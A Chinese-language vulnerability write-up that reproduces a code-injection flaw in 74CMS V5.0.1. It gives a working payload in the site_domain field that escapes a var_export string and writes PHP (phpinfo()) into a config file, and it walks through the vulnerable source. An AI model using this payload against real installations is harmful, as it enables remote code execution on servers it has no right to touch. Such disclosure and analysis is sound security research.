前言

复现CMS:74CMS(骑士CMS)

复现版本:V5.0.1

漏洞点

版本验证

网站后台底部拥有版本号

漏洞复现

1
http://192.168.121.130/.',phpinfo(),'/.com

随后刷新界面即可看到phpinfo()信息

漏洞分析

由于CMS版本较老,先复现了一下已公开的漏洞。根据请求反查找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function edit(){
if(IS_POST){
$site_domain = I('request.site_domain','','trim');
$site_domain = trim($site_domain,'/');
$site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
$site_dir = $site_dir==''?'/':$site_dir;
$site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
$_POST['site_dir'] = $site_dir;
if($site_domain && $site_domain != C('qscms_site_domain')){
if($site_domain == C('qscms_wap_domain')){
$this->returnMsg(0,'主域名不能与触屏版域名重复!');
}
$str = str_replace('http://','',$site_domain);
$str = str_replace('https://','',$str);
if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
$domain = array_slice(explode('.', $str), -3, 3);
}else{
$domain = array_slice(explode('.', $str), -2, 2);
}
$domain = '.'.implode('.',$domain);
$config['SESSION_OPTIONS'] = array('domain'=>$domain);
$config['COOKIE_DOMAIN'] = $domain;
$this->update_config($config,CONF_PATH.'url.php');
}

代码里最危险的地方是:把来自请求的域名(site_domain) 经过处理后,写入到配置文件($this->update_config($config, CONF_PATH.'url.php'))。如果 update_config() 的实现没有对用户输入进行严格校验/转义、并且以不安全的方式把 PHP 内容写入文件(比如直接拼接字符串并写入、或使用 eval() 之类不安全操作),那么攻击者就可能通过构造恶意的 site_domain 字段注入任意 PHP 代码到配置文件中,继而在应用包含该配置文件(或include/require)时被执行 → 导致 RCE。

  1. $site_domain 来自 I('request.site_domain',...)(即用户可控)。
  2. 经处理后 $domain 直接被写入 $config,并交给 update_config() 写入 url.php
  3. update_config() 直接把数组转换为字符串写入(或拼接写入),且没有对字符串做 addslashes/转义/强类型限制或使用安全序列化(如 var_export() 包裹在 <?php return ...;)就可能造成注入。
  4. 还要注意 site_domain 中可能包含回车换行、单/双引号、注释符号或 ?> 等,破坏生成的 PHP 文件结构,进而注入任意 PHP 代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function update_config($new_config, $config_file = '') {
!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = multimerge($config, $new_config);
if($config['SESSION_OPTIONS']){
$config['SESSION_OPTIONS']['path'] = SESSION_PATH;
}
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
@unlink(RUNTIME_FILE);
return true;
} else {
return false;
}
}

最终导致漏洞的位置,其实是下面这段:

1
2
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);

如果攻击者能构造一个 使 var_export 输出不正确字符串字面量的 payload
就能跳出 '", 然后写入任意 PHP 代码。

我们构造的payload:http://192.168.121.130/.',phpinfo(),'/.com

经过代码处理后,写入文件的内容大概是:

1
2
3
4
5
6
7
return array(
'SESSION_OPTIONS' => array(
'domain' => '.192.168.121.130/.',phpinfo(),'/.com',
),
...
);

已经成功跳出了字符串,并变成了合法的 PHP:

  • ' . 192.168.121.130/. ' ← 前一个关闭的字符串
  • phpinfo() ← 执行
  • '/.com' ← 后一个字符串

所以最终结果会执行 phpinfo()

为什么 var_export 会被逃逸?

因为 var_export($string) 会把字符串用 ' 包裹:

1
'123'

而你传入:

1
.',phpinfo(),'.

就会生成:

1
'.',phpinfo(),'.'

刚好能拼成合法的 PHP 语句

修复建议

建议此处进行文本序列化提交、硬编码白名单处理。